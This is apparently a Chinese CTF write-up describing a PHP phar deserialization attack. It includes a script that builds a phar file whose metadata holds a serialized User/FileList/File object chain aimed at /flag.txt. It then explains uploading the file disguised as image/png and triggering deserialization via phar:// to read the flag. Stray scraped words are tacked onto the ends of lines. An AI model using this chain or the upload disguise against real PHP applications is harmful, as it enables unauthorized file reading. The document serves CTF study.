步驟:
1.運行這個:php
<?php class User { public $db; } class File { public $filename; } class FileList { private $files; public function __construct() { $file = new File(); $file->filename = "/flag.txt"; $this->files = array($file); } } $a = new User(); $a->db = new FileList(); $phar = new Phar("phar.phar"); //後綴名必須爲phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //設置stub $o = new User(); $o->db = new FileList(); $phar->setMetadata($a); //將自定義的meta-data存入manifest $phar->addFromString("exp.txt", "test"); //添加要壓縮的文件 //簽名自動計算 $phar->stopBuffering(); ?>
生成一個phar.phar文件:html
注意要設置:phar.readonly = Off。PS:一開始我用的是PHP7沒法生成,後來改爲PHP5即可以了函數
2.更改Content-Type爲image/png而後上傳this
3.在delete裏面讀取phar獲得flagspa
解析[phar]:
php一大部分的文件系統函數在經過phar://
僞協議解析phar文件時,都會將meta-data進行反序列化,其中就有file_get_contents() ,因此咱們能夠把一個序列化的對象,儲存在phar格式的文件中.net
將phar僞形成其餘格式的文件:php識別phar文件是經過其文件頭的stub,更確切一點來講是__HALT_COMPILER();?>這段代碼,對前面的內容或者後綴名是沒有要求的。那麼咱們就能夠經過添加任意的文件頭+修改後綴名的方式將phar文件假裝成其餘格式的文件。code
總體思路是:經過User調用File中的close()讀取flag可是要經FileList繞一下,否則沒有回顯htm
詳細走大佬鏈接對象
參考:
https://blog.csdn.net/weixin_44077544/article/details/102844554blog